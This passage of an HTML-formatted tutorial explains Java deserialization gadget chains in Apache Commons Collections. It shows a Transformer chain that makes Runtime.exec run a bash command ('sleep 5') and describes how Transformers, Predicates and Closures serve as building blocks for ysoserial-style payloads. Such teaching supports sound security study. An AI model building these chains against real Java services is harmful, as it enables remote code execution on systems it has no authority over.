            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sleep 5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cmdType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;execArgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code essentially aims to execute the following:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sleep 5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This needs rewriting a bit because we cannot construct the gadget exactly like this.
We need to use some Transformer from our toolbox to do the job.
&lt;em&gt;&lt;a href=&quot;#ConstantTransformer&quot;&gt;ConstantTransformer&lt;/a&gt;&lt;/em&gt; accepts a serializable object, so we initialize it with &lt;code class=&quot;highlighter-rouge&quot;&gt;Runtime.class&lt;/code&gt; which
is serializable. Then we can chain multiple invocations with &lt;em&gt;&lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getRuntime&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sleep 5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After translation to Transformer language, the final code that gets executed on the host looks like this:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Constant transformer 1&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Invocation transformer 1&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Method&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getMethod&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;getRuntime&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Invocation transformer 2&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invoke&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Invocation transformer 3&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sleep 5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;lang&quot;&gt;Language and expressivity&lt;/h2&gt;
&lt;p&gt;There are 3 basic types of objects in the Commons language we can use to build our payload / gadgets.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Transformers&lt;/li&gt;
  &lt;li&gt;Predicates&lt;/li&gt;
  &lt;li&gt;Closures&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;transformers&quot;&gt;Transformers&lt;/h3&gt;
&lt;p&gt;A &lt;code class=&quot;highlighter-rouge&quot;&gt;Transformer&lt;/code&gt; (functor) converts the input object to the output object.
  The input object should be left unchanged. Transformers can be chained.&lt;/p&gt;

&lt;p&gt;Standard implementations of common transformers are provided by
  &lt;code class=&quot;highlighter-rouge&quot;&gt;TransformerUtils&lt;/code&gt;. These include method invocation, returning a constant,
  cloning and returning the string value.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.apache.commons.collections&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Transformer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;List of the Transformers:
&lt;a href=&quot;#ChainedTransformer&quot;&gt;ChainedTransformer&lt;/a&gt;,
&lt;a href=&quot;#CloneTransformer&quot;&gt;CloneTransformer&lt;/a&gt;,
&lt;a href=&quot;#ClosureTransformer&quot;&gt;ClosureTransformer&lt;/a&gt;,
&lt;a href=&quot;#ConstantTransformer&quot;&gt;ConstantTransformer&lt;/a&gt;,
&lt;a href=&quot;#ExceptionTransformer&quot;&gt;ExceptionTransformer&lt;/a&gt;,
&lt;a href=&quot;#FactoryTransformer&quot;&gt;FactoryTransformer&lt;/a&gt;,
&lt;a href=&quot;#InstantiateTransformer&quot;&gt;InstantiateTransformer&lt;/a&gt;,
&lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;,
&lt;a href=&quot;#MapTransformer&quot;&gt;MapTransformer&lt;/a&gt;,
&lt;a href=&quot;#NOPTransformer&quot;&gt;NOPTransformer&lt;/a&gt;,
&lt;a href=&quot;#PredicateTransformer&quot;&gt;PredicateTransformer&lt;/a&gt;,
&lt;a href=&quot;#StringValueTransformer&quot;&gt;StringValueTransformer&lt;/a&gt;,
&lt;a href=&quot;#SwitchTransformer&quot;&gt;SwitchTransformer&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;predicates&quot;&gt;Predicates&lt;/h3&gt;
&lt;p&gt;A &lt;code class=&quot;highlighter-rouge&quot;&gt;Predicate&lt;/code&gt; is the object equivalent of an &lt;code class=&quot;highlighter-rouge&quot;&gt;if&lt;/code&gt; statement.
  Evaluates an expression on input object, returns true/false. Can be used in
  &lt;a href=&quot;#IfClosure&quot;&gt;IfClosure&lt;/a&gt;, &lt;a href=&quot;#SwitchClosure&quot;&gt;SwitchClosure&lt;/a&gt;, &lt;a href=&quot;#SwitchTransformer&quot;&gt;SwitchTransformer&lt;/a&gt;, &lt;a href=&quot;#WhileClosure&quot;&gt;WhileClosure&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Standard implementations of common predicates are provided by
  &lt;code class=&quot;highlighter-rouge&quot;&gt;PredicateUtils&lt;/code&gt;. These include true, false, instanceof, equals, and,
  or, not, method invocation and null testing.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.apache.commons.collections&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Predicate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;List of the Predicates:
&lt;a href=&quot;#TruePredicate&quot;&gt;TruePredicate&lt;/a&gt;,
&lt;a href=&quot;#FalsePredicate&quot;&gt;FalsePredicate&lt;/a&gt;,
&lt;a href=&quot;#NotPredicate&quot;&gt;NotPredicate&lt;/a&gt;,
&lt;a href=&quot;#AndPredicate&quot;&gt;AndPredicate&lt;/a&gt;,
&lt;a href=&quot;#OrPredicate&quot;&gt;OrPredicate&lt;/a&gt;,
&lt;a href=&quot;#AllPredicate&quot;&gt;AllPredicate&lt;/a&gt;,
&lt;a href=&quot;#AnyPredicate&quot;&gt;AnyPredicate&lt;/a&gt;,
&lt;a href=&quot;#NonePredicate&quot;&gt;NonePredicate&lt;/a&gt;,
&lt;a href=&quot;#OnePredicate&quot;&gt;OnePredicate&lt;/a&gt;,
&lt;a href=&quot;#EqualPredicate&quot;&gt;EqualPredicate&lt;/a&gt;,
&lt;a href=&quot;#IdentityPredicate&quot;&gt;IdentityPredicate&lt;/a&gt;,
&lt;a href=&quot;#InstanceofPredicate&quot;&gt;InstanceofPredicate&lt;/a&gt;,
&lt;a href=&quot;#NullPredicate&quot;&gt;NullPredicate&lt;/a&gt;,
&lt;a href=&quot;#NotNullPredicate&quot;&gt;NotNullPredicate&lt;/a&gt;,
&lt;a href=&quot;#NullIsExceptionPredicate&quot;&gt;NullIsExceptionPredicate&lt;/a&gt;,
&lt;a href=&quot;#NullIsFalsePredicate&quot;&gt;NullIsFalsePredicate&lt;/a&gt;,
&lt;a href=&quot;#NullIsTruePredicate&quot;&gt;NullIsTruePredicate&lt;/a&gt;,
&lt;a href=&quot;#ExceptionPredicate&quot;&gt;ExceptionPredicate&lt;/a&gt;,
&lt;a href=&quot;#TransformedPredicate&quot;&gt;TransformedPredicate&lt;/a&gt;,
&lt;a href=&quot;#TransformerPredicate&quot;&gt;TransformerPredicate&lt;/a&gt;,
&lt;a href=&quot;#UniquePredicate&quot;&gt;UniquePredicate&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;closures&quot;&gt;Closures&lt;/h3&gt;
&lt;p&gt;A &lt;code class=&quot;highlighter-rouge&quot;&gt;Closure&lt;/code&gt; represents a block a code, takes input, produces nothing.
  Used in loops.&lt;/p&gt;

&lt;p&gt;Standard implementations of common closures are provided by
 &lt;code class=&quot;highlighter-rouge&quot;&gt;ClosureUtils&lt;/code&gt;. These include method invocation and for/while loops.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.apache.commons.collections&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Closure&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;List of the Closures:
&lt;a href=&quot;#ChainedClosure&quot;&gt;ChainedClosure&lt;/a&gt;,
&lt;a href=&quot;#ExceptionClosure&quot;&gt;ExceptionClosure&lt;/a&gt;,
&lt;a href=&quot;#ForClosure&quot;&gt;ForClosure&lt;/a&gt;,
&lt;a href=&quot;#IfClosure&quot;&gt;IfClosure&lt;/a&gt;,
&lt;a href=&quot;#NOPClosure&quot;&gt;NOPClosure&lt;/a&gt;,
&lt;a href=&quot;#SwitchClosure&quot;&gt;SwitchClosure&lt;/a&gt;,
&lt;a href=&quot;#TransformerClosure&quot;&gt;TransformerClosure&lt;/a&gt;,
&lt;a href=&quot;#WhileClosure&quot;&gt;WhileClosure&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;expressivity&quot;&gt;Expressivity&lt;/h3&gt;
&lt;p&gt;Using the given tools we can construct chains which perform something actually useful.&lt;/p&gt;

&lt;p&gt;Using &lt;em&gt;&lt;a href=&quot;#ConstantTransformer&quot;&gt;ConstantTransformer&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;&lt;/em&gt;
we can construct chains like this:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;SerializableConstant&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;method1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;method2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)....&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;methodN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is followed also by &lt;em&gt;&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt;&lt;/em&gt; exploit, very easy one. A few important things to notice:&lt;/p&gt;

&lt;h4 id=&quot;serializable-static-chain-start&quot;&gt;Serializable static chain start&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;ConstantTransformer&lt;/em&gt; can accept only Serializable objects in order to work in payload. e.g.,
 &lt;em&gt;String&lt;/em&gt;, &lt;em&gt;File&lt;/em&gt;, &lt;em&gt;Class&lt;/em&gt;, &lt;em&gt;Object[]&lt;/em&gt;, &lt;em&gt;Long&lt;/em&gt;, …&lt;/p&gt;

&lt;p&gt;On the other hand, we can start with a different Transformer, e.g., &lt;em&gt;&lt;a href=&quot;#InstantiateTransformer&quot;&gt;InstantiateTransformer&lt;/a&gt;&lt;/em&gt;
 to create a new instance as a start of the chain.&lt;/p&gt;

&lt;h4 id=&quot;serializable-static-method-arguments&quot;&gt;Serializable static method arguments&lt;/h4&gt;
&lt;p&gt;Due to &lt;em&gt;&lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;&lt;/em&gt; internal mechanism, we cannot pass the result of the computation as a
method argument. All method arguments have to be also Serializable objects, created in time of payload
generation. E.g., it is not possible to construct a gadget like:
&lt;code class=&quot;highlighter-rouge&quot;&gt;sendFile(readFile(&quot;/etc/passwd&quot;));&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;some-methods-cannot-be-called-at-all&quot;&gt;Some methods cannot be called at all&lt;/h4&gt;

&lt;p&gt;For example it is not possible to do:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;waitFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The reason is the returned object after &lt;code class=&quot;highlighter-rouge&quot;&gt;exec(cmd)&lt;/code&gt; is expected to be a &lt;em&gt;Process&lt;/em&gt; object according to the interface.
Thus it should be possible to call &lt;code class=&quot;highlighter-rouge&quot;&gt;waitFor&lt;/code&gt; method. But the real returned object is &lt;code class=&quot;highlighter-rouge&quot;&gt;UNIXProcess&lt;/code&gt; (in my case)
which is &lt;em&gt;package local&lt;/em&gt;. &lt;em&gt;&lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;&lt;/em&gt; essentially does:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// input instanceof UNIXProcess&lt;/span&gt;
